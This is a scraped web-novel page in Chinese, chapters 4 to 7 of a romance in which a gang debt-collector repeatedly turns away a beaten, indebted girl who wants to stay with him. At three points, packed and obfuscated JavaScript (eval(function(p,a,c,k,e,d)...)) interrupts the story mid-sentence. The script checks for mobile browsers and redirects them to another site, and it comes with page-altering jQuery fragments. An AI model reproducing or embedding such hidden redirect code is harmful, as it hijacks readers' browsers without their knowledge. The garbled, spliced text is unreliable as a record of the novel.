道,你要是想知道问她去呗。” 妇女把盆子放在一边,乐呵呵地走到连翘身边,“女娃娃,你找谁呀?这院子里的人我都认识,我帮你招呼一声呗。” 连翘眼眸清澈,举手投足间尽显温和气质,“我找李空山。” “啥,找李空山!”妇女表情瞬间变得复杂,“原来是找那臭小子的啊,那我可帮不了你,他这种人我惹不起,招呼不了。” “没关系,谢谢。”连翘从妇人身上收回目光,继续望着正前方这栋黑乎乎的老楼,她要等,一直等,直到李空山愿意出来。 妇女想了想,对连翘说:“他知道你在这等他不?你这么一直等下去也不是办法啊,都快中午了,吃饭没,要不上我那儿去吃顿饭?” “不用,我等他出来。” 妇人嘀咕一句“这女娃娃还真倔”后便走开了。 恰逢此时李空山刚洗完澡从卫生间里出来,他随手拿起桌子上的一瓶水走到窗前,没曾想一打眼就瞧见院子中央合欢树下站着的女孩。 “我去,她怎么找到这儿来了。” 李空山被自己呛到,喝进去的水差点吐出来。 他擦去从矿泉水瓶里溅到手臂上的手,心思沉重地打量合欢树下的连翘。 他转身往屋里走了两步,自顾自问:“难道我李空山真有这么迷人?把她迷得都神魂颠倒了?不对不对——” 理智将李空山的思绪拉回来,他右脚踩在凳子上,弯身凝思,“这女的不依不饶肯定是想帮姓田的赖债,想占我李空山的便宜?想得美。” 李空山自认为自己分析得头头是道,掏出手机拨通手下兄弟的电话。 电话那头,正在吃串的楼巩放下食物,大咧咧地接通,“喂?空山哥啊,找我啥事?” 李空山蹙了下眉,“楼巩,我命令你,现在立刻马上到我家楼下去把一女的撵走!立刻马上!” “女的?”楼巩不厚道地笑了,“不是我说,空山哥,你咋又招惹女的了呢,每次都让兄弟们去给你打发,这可不行啊。” “少来,就这女的,爷压根看不上,赶紧的,麻利点。” 李空山郁闷地走到窗边,往下一瞄,场面令他震惊不已。 “我去,我就打个电话的功夫,围了这么多人?” 楼巩故意问:“长得漂亮不,要是漂亮的话,让兄弟也处处对象呗。” 合欢树下,老楼里出来看热闹的邻居越来越多,有的甚至端个大碗就走出来,一边吃饭一边凑热闹,像在看一出好戏似儿的。 刚才离开的妇人又重新回来,苦口婆心地安慰连翘,“哎哟,姑娘,你别哭嘛,有什么事咱慢慢想办法解决是不是?” “我去。” 楼上,窗边张望的李空山忍不住感叹,“都开始事手段了是吧,上演哭戏,你牛。” 实在忍无可忍的李空山可不准许她这样撒泼耍赖,损害自己的形象——李空山二话不说推门出去。 等楼巩来处理,花都谢了,还得他亲自出马才行。 “喂?哥?空山哥?” 电话那头的楼巩听到李空山没声了,一个劲儿地唤他名字,还未等到李空山丁点儿回应,电话就已被他挂断。 楼巩望着发出“嘟嘟嘟”声音的手机,“那……我是去呢,还是不去呢……” 他的目光落在桌上摆满的串串上,“好不容易蹭到宇瑞那铁公鸡一顿免费餐,不吃了多可惜……” 越想,他的目光便越充满渴望,那双蠢蠢欲动的手也快要拿起桌上串着滋滋冒油的五花肉的木签子。 “不行!” 一个机灵,楼巩瞬间站了起来。 他想起往日里李空山教训手底下不长教训、不听吩咐的弟兄们的场景——触目惊心、惨不忍睹,后怕地摇摇头,一把拿起板凳上的外套,冲去李空山的家。 4. 第 4 章 “哎哎哎,让开点,都让开。” 围观的人越来越多,李空山费了些劲儿,才从人群里挤进去找到连翘。 他不耐烦,皱眉逼问:“你跟踪狂啊,跟我都跟到这儿来了。” 连翘对李空山的出现感到惊喜,她本以为李空山不会出现——至少今天不会。 看见他以后,连翘全然忘了自己刚才哭过鼻子的事,欣喜拉住李空山的衣角,“太好了,你肯出来见我!” 随着两人对话展开,退到一旁看热闹的邻居间气氛开始沸腾:“哎,你们看,她和李空山这混小子真的认识,我就说嘛,绝对是李空山在外面惹的风流债!” 坐在自家门口的一位妇人随声反驳道:“咦,这怎么可能,李空山这混球小子虽然平时蛮横得很,但是有违良心的事他还不会做好吧,这姑娘看着也不大,他怎么可能下得去手。” “咋不可能啊!前不久我还看见过一个女的凌晨两点从李空山屋里出来呢!” 一个同样爱看热闹的人加入闲聊队伍:“你们说——这女娃娃刚刚哭得那么可怜,会不会就是李空山做了啥对不起人家的事?” 此话一出,八卦队伍里的所有人彼此对视,面面相觑,最后异口同声得出同一个结论:“该不会是——孩子都有了吧!” 惊讶遍布所有大婶的脸。 吊儿郎当站在合欢树下,李空山将这一切听在耳里,他闭着眼睛,左手放在裤兜里,愤怒和不悦达到巅峰。 顾不上连翘,他偏头望着嗑瓜子看热闹的大婶们:“我说你们有完没完,再看?再看我把你们房子砸了信不信?” 嗑瓜子的大婶眨眼之间一散而空,连个人影儿都没有。 和煦暖风吹来,卷起地上铺满的轻飘飘的树叶,仿佛刚才的的闹腾和闲言碎语从来没存在过。 李空山闭上眼睛,无奈地扶了下额头,随后叹息一声,诚恳地对眼前的女孩说:“我看得出来田永贵待你不好,不管是他逼你来找我,还是你自己迫于田永贵的欺负想来求援,我只想告诉你,我不会帮你,也不会帮任何人。” “你听清楚了,我李空山长这么大,看过受欺负的人不在少数,可我哪次帮过人?你最好搞清楚一个事实,我李空山铁石心肠,薄情寡义,有钱什么事都好说,没钱就别怪我手下不留情。” 他往旁边退了一步,指着四合院大门的方向,“门在那儿,自己走,不送了。还有,以后别来这儿找我,也别哭哭啼啼的,让人看了还以为我和你有啥似儿的,影响我名声。” 保持沉默的连翘盯着前方路面,双脚像是涂过胶水,牢牢固定住,怎么都挪不开。 她更不知道自己除了这里,还可以去哪儿——反正田永贵那里她绝不可能再回去。 “咋的,不会走啊?” 李空山两只手放在裤兜里,懒散地盯着她。 四周安安静静的,哪怕邻居再爱看热闹,也只敢躲在门后透过门缝悄悄打量。 李空山在这儿住了五年,早已熟悉这里的一切,包括院中的合欢树每年三月都会按惯例长出的新芽。 天不怕地不怕的李空山自以为在那一刻看懂了连翘的真实意图,但其实他错了。 没有任何人能看懂连翘深藏在眼眸深处的复杂和微妙。 “李空山——” 连翘突然抬起头,唤他的名字。 “你真的不能考虑考虑用我来抵债吗?用我来抵债,未来我来还这笔钱,我很能干的,我会洗衣、会做饭,能打扫卫生,也可以听吩咐,做你安排的所有事,我只有一个要求,在我还清这笔债之前,你把我留下,留在你身边,可以吗?” “就你?” 李空山轻蔑地抬眼扫视眼前的女孩,“你以为你是谁啊?田永贵欠下的钱可是整整六十万,你一个连自己都养活不了的人,拿什么来还钱?再说了,按时收债是黑武帮的规矩,咱这儿不可兴什么宽限时间,从来没有的事儿好吧。” 说了这些还不够,李空山还要继续往下补充,想要彻彻底底打消女孩的荒唐念头。 “而且你没听我说?我之前讲得很清楚,你这种类型的太差劲了,我瞧不上,身材不够格,长相也勉勉强强,看都看不上,你让我怎么答应你?” 李空山别的不擅长,唯独最擅长补刀。“要是换做好看点的,身材好点的,说不定我还可以考虑考虑,但是你嘛——” 他凝视着眼前的女孩,摇了摇头,“真不行。” 连翘依旧很坚持:“可是至少我可以把你照顾得很好,你身边总需要一个照顾你的人,不是吗?” 李空山心不甘情不愿地笑了下,“不好意思,我还真不缺。” 他一边打量着女孩,一边说:“我还真就纳闷了,姓田的给你什么好处,你这么掏心窝子对他,连钱都要帮他还?喂,我可是亲眼看见他往死里打你哎。” 连翘抬头对视上李空山的目光,神情毅然决然,再不似方才那般落寞,“我不为他,我只为我自己。” 李空山忽然沉默,默不作声注视着连翘,想要从她眼里看出点什么,却发现自己看不清。 他的心不自觉地随她那目光而变得混乱且复杂。 “李空山,我不想再留在田永贵那里,我是被他买回去的,从小到大他一旦不开心就打我出气,我的身上全是他殴打留下的伤,我很想逃离他,很想很想……” “所以你能不能以六十万为条件,去告诉他,让我跟你走。只要你这么说,他绝对不敢怎么样,而且你放心,这笔钱我以后一定会还你!” 李空山愣了愣,一直目不转睛盯着连翘,他忽然意识到自己差点晃神,当即将目光从她身上离开,不耐烦地开口。 “跟你说过多少次了,宽限时间不是我们黑武帮的规矩,田永贵欠下的六十万必须还,明天就是最后的期限!再多一天都绝无可能。” “一定有办法的。” 连翘慌张地拉住他的衣角,“我听说过你,镇上的人都说,黑武帮除了黑子,最有发言权的人就是你,只要你想,就可以破例,不是吗?” 李空山将她的手推开,与她保持距离,吊儿郎当的模样不改丝毫。 “规矩就是规矩,能说变就变?要是变了,我们黑武帮成什么了?别把你的天真想法加在黑武帮身上。” “好了好了,赶紧走。”李空山不想再废话。 “你与其在这里浪费时间,还不如赶紧回去让田永贵想办法凑钱。我这里你以后别再来了。” 李空山背过手挥挥手,若无其事地提脚往楼梯口走去,连翘情不自禁想追上去,但犹豫之间,她收回脚步,落寞地看着他的身影渐渐消失在目光中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165862|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>过了很久,连翘才无奈地拖着满身伤离开这座院子。 与此同时,姗姗来迟赶到这里的楼巩跑了进来。 与连翘擦肩而过,他跑着跑着突然停下往后退了几步。 楼巩看着离去的连翘,挠挠后脑勺:“这女孩看着怎么那么眼熟,就像……就像……” “算了,不想了。” 楼巩这人记性差,回忆一件事对他来说比登天还难,于是他索性摇摇头不想,办正事要紧。 “哥!我来了!你说的人呢?我咋没看到?” 李空山开了门,但迎接楼巩的不是欢迎,而是驱赶。 他一手把楼巩推了出去,随后又重重地把门关上。 楼巩还没反应过来,踉跄着脚步,好在背后的墙让他及时刹住车。 他捂着胸膛,疑惑不解,又去敲李空山的门,“哥,你让我来我不就来了吗,咋还不让我进呢。” 具有话痨属性的楼巩一边敲门,一边跟李空山唠嗑。 “哥,刚刚我来的时候看见个人,我觉得她长得好眼熟,好像我们以前在哪儿见过。” “你进来。” 门被李空山从里面打开。 他站在门口,盯着楼巩,给他让出一条进屋的路。 —— “怎么样?” 宇瑞看连翘一副失魂落魄的样子,大概猜到了结果,情不自禁唏嘘,“看吧,我就说你讨不到好果子吃。虽然我认识李空山不久,但他是个怎样的人我还是听说过的,不近人情、薄情寡义……” 宇瑞撇嘴看连翘,摊手表示无奈,“现在你领略到了吧。哪怕你表现得再惨再可怜,他一样无动于衷。” “我不信。” 坐在田永贵屋外台阶上,连翘垂下目光,宇瑞并不知道她在想什么。 “如果有一个患有老年痴呆的爷爷找不到回家的路,打电话报警他又会因为得知自己有病而哭得很伤心,如果是你,你会怎么办?” “怎么突然问这个。” 宇瑞小心翼翼,对连翘始终保持着一种警惕和提防,想想她问这个问题应当只是空口闲谈,于是宇瑞回答她。 “还能怎么办,哭也送派出所咯,不然到时候出了啥事赖在我身上,我可吃不了兜着走。” “那如果是李空山呢?你觉得她会怎么办?” 连翘突然抬起头看向宇瑞。 “你不是说虽然你对他的了解不多,但还是大概了解他是个怎样的人,不是吗?” 宇瑞斩钉截铁,说:“这还用问?别说送派出所了,就算是停下来多看几眼他都做不到。与他不相干的事,他一概不管。” “那就足以证明了!” 听了宇瑞的回答,连翘突然心情大好,她站起来,准备再次离开。 “证明什么?” 连翘回头,“这个世界上,没人真正了解李空山——至少现在是这样。” 宇瑞急急忙忙喊住她:“喂,你去哪儿!别乱走啊,要是空山哥突然来检查,我可没法保你!” 连翘背对着他挥挥手,继续踏上前方的路,“放心,李空山的新麻烦马上就来了,他不会来检查。” 守在门口的宇瑞挠挠脑袋,想了半天,愣是想不明白连翘说的话是什么意思。 新麻烦是什么?她自己吗? 5. 第 5 章 “李空山,我来找你了,你可以下来吗,我有话想和你说。” 连翘再次出现在院子里,仰头对李空山住的方向大声喊道。 正在屋内闭目养神的李空山被这声呼喊吓得直接坐起来,盖在他脸上的白纸掉落在地,悄无声息。 他鄙夷所思地望向窗外,“我去,不是吧,又来了!” 皱了下眉,李空山鬼鬼祟祟走到窗边偷偷往下望,“这性子跟谁学的,固执得跟头牛似儿的。” 他毅然决然推开房门,准备下楼把这女孩撵走。 刚踏出一步,李空山突然收回脚,“不对啊,我直接不就是自投罗网吗,到时候别人看了,又叽叽喳喳八卦个没玩完了,我李空山还没娶媳妇呢,到时候清白就被她给毁得一干二净。不行不行,这样不行。” 他把门关上,拿出手机准备给手下的弟兄打电话。 摇人支开她?这样似乎也不太行。那些弟兄什么性子他不是不知道,要是以后私下去找她麻烦,对她也挺过分。 气呼呼的李空山走到窗边,所有的纠结气焰化成一句:“真烦!” 他干脆不管了,任由她喊去,自己又继续躺回躺椅上,闭目养神。 “李空山——” 连翘没有放弃,还在继续喊他,她的声音里带着一种柔和,哪怕她持续不懈在楼下喊,她也始终给人一种温宁的感觉,丝毫没有泼妇骂街的气焰。 楼上的李空山情不自禁举起双手捂住耳朵,翻了个身,脸上写满不爽和不悦。 “姑娘,你咋又来了。” 晾完衣服的婶婶看见连翘便朝她走过去,“又找李空山啊?我跟你说,那臭小子就是这样,脾气臭的很,性子直,一根筋,说不搭理谁就真的不搭理谁,你这样喊他,就算喊到天都黑了,他也不会理你。” 连翘不再继续喊李空山的名字,温良又懂事地看向大婶,“那我该怎么办?” 大婶乐呵呵地笑了笑,“你算是问对人了。”她招招手,示意连翘靠近些,把她的诀窍告诉连翘。 “你这样……然后……” 楼上,闭着眼睛躺在躺椅上的李空山忽然觉得耳边清净不少,他睁开眼睛,思考半天后才反应过来原来是楼下没有人再继续喊他了。 “这就对了嘛。” 总算落得个清净,李空山心情大好,站起来伸了个懒腰,从冰箱里拿出一瓶汽水拧开,给自己灌了几口。 他打算再检查确认一遍,好让自己彻底后顾无忧,走到窗边的他忽然发现合欢树下的女孩晕倒了。 “我去,咋回事啊,喊几句就没力气了?还口口声声说自己能照顾人,到底是别人照顾你还是你照顾别人。” 不想管这件事的李空山坐回自己床上,他两腿微微分开,两手手肘放在膝盖上,若有所思。 突然想通,他站了起来,“不对啊,她以后要是赖我身上,到警察叔叔那儿告我状,讹我钱咋办。” 李空山开门下楼,“真烦。” — “喂,你没事吧?” 李空山蹲下来,以从前未曾有过的近距离打量着女孩。 他发现,原来女孩的皮肤又白又嫩,只是那天的她灰头土脸,让人无心去仔细审视她的美。 她有着精致且柔和耐看的五官,随着呼吸而起伏的身体线条恰到好处,睫毛又长又浓密,袖口微微露出以前被打过留下的伤疤,东一块西一块儿的红肿…… 这些被李空山看在眼里,没人知道这一刻他眼里的复杂情绪是同情,还是气愤。 他收回目光,变得严肃,又做回往日里那个轻狂嚣张的少年,“喂,我警告你啊,你赶紧给我起来,别没事装事,就算真有事我也不管你!” 话说完以后,女孩仍旧没有反应,只是额头冒出许多冷汗。 李空山注意到了,微微起身,“我真走了?真不管你了啊?” 可是女孩依旧不为所动,反倒眉头皱了起来,李空山突然意识到——这好像不是装的。 路过的大婶见状跑了过来,“李空山!你干什么!还不赶快送人家去医院!” 李空山突然手足无措,“她怎么了?严重吗?” 大婶招呼李空山抓紧时间,“赶紧的,麻利点!再晚点耽误人家性命!” “好好好,我现在就送她去医院。” 李空山二话不说就将晕倒在地的连翘横抱而起,背上身,径直冲向最近的医院。 他常年锻炼,手上很有力量,抱起连翘轻轻松松,更何况连翘常年吃不饱穿不暖,本身就很轻。 他急得头上也开始冒汗,一边看路,一边跟背后背着的的女孩唠嗑,“喂,你可千万别睡啊,你要出事了我可不负责,别睡别睡,医院马上就到。” 昏迷中的连翘迷迷糊糊好像听到李空山在和自己说话。 她不知道是不是自己的幻觉,仿佛这一幕从前经历过,这种熟悉的感觉撞进她的心,正试图唤醒点儿什么。 院子里,大婶若有所思地望着大门,“咦,真的是我指点的好吗?咋看着那么像她真生病了?” — 李空山蹲在诊所门口台阶上,掏出兜里的打火机,看着左手夹着的一根烟,在抽不抽之间纠结之际,刚才诊断连翘的医生走了出来。 “你放心,她没什么大碍,就是老毛病犯了。” 李空山将打火机和烟放回裤兜里,起身站好,“老毛病,她有什么老毛病?” “她以前是不是经常受寒?反正现在她身子已经落下隐疾了,治不好,一旦受凉受冷,身子就受不了,全身发抖,然后昏迷。你是她家人?以后多注意点,别让她着凉了,今天降温,外面一直吹冷风,你多看着点儿。” 李空山顿了顿,欲言又止看着准备转身的医生。 “怎么了?有问题?”余莫闻拿着手里的问诊单,疑惑又单纯地反问对面站着的李空山。 李空山忍无可忍了,“我说余莫闻你脑子是有病吧,你第一天认识我啊,我什么时候是她家人了?认都不认识!” 余莫闻揽过李空山的肩膀,笑着回答:“我不是跟你开玩笑吗。哎——” 余莫闻挑了下眉,用肩膀撞李空山,“咋回事啊,这女的谁?我第一次看见你带女孩子来。” “关你屁事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165863|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李空山往病房走,想到什么,回头警告余莫闻,“我说你一个来基层锻炼的医生,好好做好你的本职工作就行了,别管我的个人私事,要是出去乱说,传到了邱炀耳朵里,我可跟你没完。” “好好好。” 余莫闻对李空山的脾气很了解,也很包容,平和笑着点头答应,“没问题,我一定帮你保守秘密,绝不会告诉邱炀你谈恋爱了。” “你!” 李空山用手愤慨地指了指,不打算跟他计较,转身拐进病房里。 此时,连翘已经醒了。 正好。 李空山把账单按在床头柜子上,“这是医药费,一共88,现在结还是给你开借条?” 他摊开手,势必要和连翘把账算清楚。 连翘对李空山的抠门并不惊讶,眨眨眼睛,问:“我可以赊账吗?我欠你的我会记下,绝对不会忘记。” “也行。” 李空山起身,两手放进裤兜里,转身离开,“今天的事就这样,要不是看你快死了,我才不管你,以后再来烦我,我就把你撵出院子。” 连翘“哦”了一声,盯着李空山转瞬即逝消失在门口的身影,她坐了起来,怎么也没想到今天突然的晕倒反倒帮了自己一个大忙。 她微微偏着头,扬起脑袋,“李空山,我赌你会把我留下。” — 李空山回到家里时,快晚上九点了,恰逢此时邱炀又给他打电话。 “空山,奶奶那边我已经跟她说好了,车票我给你订在下个星期星期五,你看合不合适?” 他瘫倒在床上,望着空荡荡的天花板,沉默了很久,问:“哥,我这次真要走吗?” 电话那头的邱炀也沉默了,过了一段时间,他回答李空山的问题,“你知道的,如果你还待在黑武帮,奶奶会很担心你,她最大的心愿就是你找个正正经经的活儿——不用再受他人的闲言碎语和诋毁。” “清水镇没什么不好,但你不应该留在那儿。空山,来我这儿吧,奶奶会为你开心,你难道想看到她抱着遗憾度过生命的最后几年吗。” 李空山目不转睛盯着天花板,他突然感到好害怕,一种前所未有的害怕,害怕他这一走就很难再见到奶奶,“难道我就不能带着奶奶一起走?” “仓库里都是些大老爷们,住的环境也很简陋,奶奶的身子受不了。” “好吧。” 李空山向邱炀提出自己的想法,“那要是我把我的钱拿出来给奶奶租房子呢?她就可以和我们一起了。” “你知道奶奶不会同意的,她如果知道了,不仅不会跟你一起走,还会再也不认你这个孙子。空山,听哥一句,把你的钱好好留着,奶奶最大的心愿就是你能够把钱留着自己娶媳妇,她不想你把钱花在她身上。” “听到了听到了。” 李空山心情突然降落谷底,“车票你定吧,随便哪天都行,我这几天就尽量把这里的事情处理好。” 他挂断电话,闭上眼睛,陷入无底的空洞中。房间昏暗,没有电灯,漆黑得让人看不清脚下,就像李空山现在的内心世界一样昏暗低压。 6. 第 6 章 田永贵这几天一直被逼着去凑钱。 李空山想把手里的事情转交给其他人,刚准备去黑武帮大厅找黑子,路上就遇到了刚认识不久的不速之客。 他走了两步又停下,再三确认楼梯口的人就是那女孩。 此时天蒙蒙黑,路上人迹寥寥,要不是必须得去找黑子说清楚,李空山才不愿意这时候出门。 楼梯口处,连翘背着书包站在一个戴眼镜的女教师身前,低着头,好像是在恳求什么。 但戴着眼镜的女教师只是摇摇头,没说几句话就掉头走了。 只留下连翘一个人落寞地低头站在原地。 李空山才不管她遇到了什么,大摇大摆又继续走自己的路。 可他刚走没几步,就看到一个猥琐男站在小卖部门口,用色眯眯的眼神打量楼梯口的连翘。 他两手放在裤兜里,“切”了一声,“关我什么事。” 刚准备提脚继续走,李空山那飘忽不定的眼神突然捕捉到猥琐男朝楼梯口的连翘走了过去。 李空山停脚,闭上眼睛微仰头,脸上写满无奈,“不是,我咋就那么倒霉呢,老是碰上她的事。” 猥琐男还没走几步,就被李空山从后面拽住衣领,他左手放在裤兜里,用一只手教训这个猥琐男就已经绰绰有余。 “干啥,走哪儿去啊。” 李空山瞪着猥琐男,为了不引起前面不远处的连翘的注意,他把猥琐男拖进拐角处,由建筑物遮挡。 “哥,我错了哥。” 男人笑着给李空山道歉,嘻嘻哈哈打圆场,盼望着李空山当做什么都没看见,放他走。 李空山正好有气无处撒,索性直接踢了猥琐男一脚,“我说你学啥不好,偏偏学着去偷窥人家,啊?大街上女的那么多,作为一男的,你有本事自己凭自己魅力去追求心仪的女人不行啊,整天脑子里装些不干不净的东西像什么话。” “是是是,你教训的是,那我现在可以走了吗?” “还想走?”李空山握紧拳头,仿佛下一秒就要揍他。 “滚远点儿,别再让我看见你!” 猥琐男仓促跑开,他回头看一眼,撞见李空山握拳,摆出还要再打他的架势,吓得猥琐男连回头张望都顾不上。 等李空山解决好这里的事拐出建筑物旁的小道时,猛然发现刚才的女孩正蹲在楼梯上,他似乎隐约听到了微弱的啜泣声。 他扶了下额头闭眼叹息,“算了,就当我今天倒霉。” 思想工作做完以后,李空山不耐烦地上楼梯走到她身旁,两手放在外衣的兜里,他直视着前方的楼房和河道,冷不丁开口问:“哭哭哭,又在哭,你到底哭啥?一天天的,有那么多好哭的吗?” 被失落裹挟中,连翘抬起头看了眼突然出现站在一旁的李空山,不知道他什么时候来的,也不知道他来这里多久了。 她只是诚恳又认真地回答他:“我快要没书读了。” “切,我还以为啥事呢。” 打小就爱逃学的李空山压根不把这当回事儿。 他两只手继续放在衣服兜里,站得吊儿郎当,不以为意对她说:“就这啊。这不是件好事吗?没书读了多好,你就可以自由自在、随心所欲,想做什么就做什么,再也不用受管教和束缚。” “不一样。”连翘起身站好,尽量表现得自己从容淡定,像没有哭过一样,然而泛红的眼眶还是暴露了她。 她将声音放平放缓,娓娓道来:“读书对我来说意味着希望,意味着我有改变命运的可能,你明白吗?这是我唯一的出路,如果我不能继续读书,我将来就没法改变我的人生轨迹。” 李空山只想在心里翻白眼。 这些都是什么歪理? 他理解不了,更不想听,连翘所认为的这些大道理在李空山看来就如同耳朵里的茧子一样令人烦躁。 “听不懂,你爱哭就自己哭去吧,我懒得搭理。”抛下这句话的李空山甩手走人,完全不管不顾这里的连翘。 她无措又茫然地望着他,一时间也不知道该继续难过好还是去拉住他。 田永贵自身难保,根本不可能给连翘交学费。所以现如今看来——李空山是连翘唯一的希望。她如果想离开这里,必须抓住这唯一的机会。 “李空山!” 连翘突然追上去,挡在李空山面前拦住他。 “我真服了,你又干嘛啊。” 他不耐烦地盯着眼前的女孩,仿佛原本所拥有的一丁点儿耐心也早已被消耗殆尽,连翘对他来说和街边毫不相干的人没任何区别。 “把我留在你身边,真的一点可能都没有吗?” “不然呢。” 李空山两手放在衣服兜里,只觉这女孩真烦,他都已经说得那么直白了,她还要问一次又一次。 “你听好了——我,李空山,势必,此生,绝无可能跟你扯上半点儿关系,更不可能把你留在我身边,这比做白日梦还扯淡。” 连翘听完这话以后便径直转身离开了。 李空山一口气说完这些话,人还没反应过来,她便不见踪影。 他左看看,又看看,再往身后瞧瞧,陷入自我怀疑,“难道是我刚刚太凶了?” “凶点好啊。” 李空山突然窃喜:“早知道支开她这么简单,我从一开始就这么跟她说。” 感觉一身轻的李空山拍拍手,心情大好,继续大摇大摆往黑武俱乐部的方向走去。 — 清脆的鸟鸣声从窗外的合欢树中传来,但清晨的李空山并不是被这鸟鸣声吵醒的,一切都归功于“群众的力量”。 他不悦地从床上坐起,睁开惺忪睡眼。 阳光太过刺眼,李空山用右手挡在额头前,耳边持续不断地回荡着楼下邻居的呼喊声。 “吵吵嚷嚷干什么,还让不让人睡觉了啊!” 他带着气儿走到窗边,探出脑袋往下望。然而——令李空山意想不到同时也相当震撼的一幕发生了。 几乎楼里所有的大婶大姨全部出动,她们站在连翘左右及身后,护着连翘,唤李空山的名字,让他赶紧下来给人家姑娘一个说法。 “你们烦不烦,闹够没有。” 李空山“嘭”的一声把窗户关上,继续钻进被窝里睡大觉,起初他以为自己还能睡着,但他完全高估了自己的能力。 有外面这样吵吵闹闹的声音,就算他把两个耳朵都堵上,他也压根睡不着。 “疯了疯了,这些人一定都疯了。” 李空山不耐烦,从床上跳下来,穿上自己的黑拖鞋,披上外套,摔门下楼。 他气呼呼地走到合欢树下的连翘面前,“我说你咋这么有能耐呢,现在本事都大到让这周围所有的人都来帮你了是吧?来,你说说,你都做了什么,让她们这么心甘情愿站在你这边?” “还有,我警告你——” 李空山一手叉腰,一手指着她背后的大婶大姨,模样嚣张,“你别以为有这些人在,我就会妥协,答应你那扯淡条件,你出去打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165864|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听打听,我李空山是这种随便服软的人?真是可笑。再吵,我把你扔出去!” 说完他便转身离开,然而连翘身旁的大婶立即拽住李空山的衣角,把他拉住,“不准走!李空山,你今天必须给人家小姑娘一个说法!” 旁边的大婶附和道:“就是!李空山,你平日里蛮横也就算了,但我们这些妇道人家可看不惯你随随便便辱了小姑娘的好名声,你今天必须得给人家一个交代!” “名声?” 李空山无语,楞在原地。 还能再离谱点吗? 好啊好,李空山想,这女的还真能豁出去,居然连她自己的名声也不顾了,非要跟他扯上关系。 他假惺惺地笑着对连翘说:“我还真有点记不清楚,干脆你帮我回忆回忆算了,我俩之间到底有什么?” 连翘知道李空山这样说只是想逼她乱了方寸,她到这里来之前就已经做好万全准备,无论李空山如何反应,她都有办法“接招”。 只见被大婶大姨簇拥着的女孩一声不吭,落寞地低下头,挤出一滴眼泪。眼泪无声,但却看得在场的大姨婶婶们格外心疼。 妇人搂住连翘的肩:“哎哟,小姑娘,别哭别哭,有我们在,李空山不敢再欺负你,放心啊。” 另一位妇人随即看着李空山厉声批评:“李空山,你看看你把人家都吓成什么样了?你个男的不害臊,人家小姑娘还要面子呢,你这不是故意给小姑娘难堪吗!你要是真做了什么,就大胆承认,对人家女孩子好好负责,别躲躲藏藏的不像个男子汉。” “就是,李空山,有我们在,小姑娘肯定害羞不方便说,赶紧的,你把人家领进去,坐下来两个人好好聊聊。记住!温柔点跟人家说话!别整天大吼大叫的一点风度都没有。” “不是,我——” 李空山满脸写着无语,他还就奇了怪了,他什么时候没风度?什么时候不像个男子汉?扯淡!全是在扯淡! 他吊儿郎当站着,两手端在身前,一副置身事外的模样,任谁看了都知道他还是不想管这件事。 大门正对着的底楼一户人家里走出一个穿着花衣裳的妇人,她将桶里装着的污水泼出去,对着人群这边喊道:“李空山,你别挣扎了,没用的,要再不领人家姑娘进去好好说,把人家一直晾在外面,当心这件事传到你奶奶耳朵里,到时候有你好果子吃。” 护着连翘的妇人斩钉截铁附和:“对!就是!李空山,你当心我们把这件事告诉你奶奶!” “喂,没事吧你们,关我奶奶什么事啊,去打扰她干嘛。” 李空山又气又无奈地盯着眼前的几人,右手随意背过去碰了下后脖子,“好,算你们有本事,跟我耍赖皮。” 他不屑地看了眼连翘,又看向在场的婶婶,“我领她进去好好说总行了吧,你们还站在这儿干嘛,还不散?想让我砸烂你们房子?” 此话一出,爱看热闹又爱掺和进来的妇人瞬间一散而空。 树叶飘飘然落下,投入土地的怀抱,不发出一点儿声音。 合欢树下突然冷清,仿佛刚才的喧哗是场梦。 李空山不耐烦地别过头,转身往楼上走,“愣着干什么,跟上啊,还嫌我被吵得不够烦是不是。” 连翘惊喜地抬起头,毫不犹豫迈开步伐,紧跟在李空山身后。 一楼、二楼、三楼……连翘默默在心里数着,记下李空山家门的位置。 虽说她已经来过这个院子多次,但她还是第一次上楼——去李空山住的地方。 7. 第 7 章 开门进屋以后,李空山就若无其事地坐在躺椅上,翘着二郎腿,闭着眼睛,仿佛这屋子只有他一个人。 “我警告你啊,我领你进来,只是暂时迫于形势,等到外面那些个大嘴巴子消停了,你就赶紧给我走,别想赖在我这儿。” 连翘打量着周围,屋内陈设很简单,一张床、一把躺椅、一张桌子、一个衣柜,厨房和卫生间虽小,但却收拾打扫得很干净。 她走到李空山的躺椅前,目光里有种期盼和渴望,“我会做饭,会打扫卫生,会做很多很多事,李空山,你把我留下吧,我会竭尽全力对你好,什么事都听你的。” 